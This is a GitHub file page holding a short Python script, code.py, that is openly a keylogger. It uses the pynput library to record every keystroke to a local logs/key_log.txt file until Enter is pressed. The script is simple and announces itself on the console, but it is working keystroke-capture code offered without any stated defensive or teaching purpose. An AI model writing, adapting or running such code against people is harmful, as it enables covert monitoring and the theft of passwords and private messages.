-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcode.py
More file actions
29 lines (24 loc) · 874 Bytes
/
code.py
File metadata and controls
29 lines (24 loc) · 874 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import os
from pynput import keyboard
# Automatically create a 'logs' folder in the current directory
log_dir = "logs"
os.makedirs(log_dir, exist_ok=True) # This ensures the folder exists
# Full path to the log file
log_file = os.path.join(log_dir, "key_log.txt")
def on_press(key):
try:
with open(log_file, "a") as file:
if hasattr(key, 'char') and key.char is not None:
file.write(f"{key.char}")
else:
file.write(f" [{key.name}] ")
print(f"Key pressed: {key}")
except Exception as e:
print(f"Error logging key: {e}")
def on_release(key):
if key == keyboard.Key.enter:
print("Keylogger stopped.")
return False
print("Keylogger started. Press 'Enter' to stop.")
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()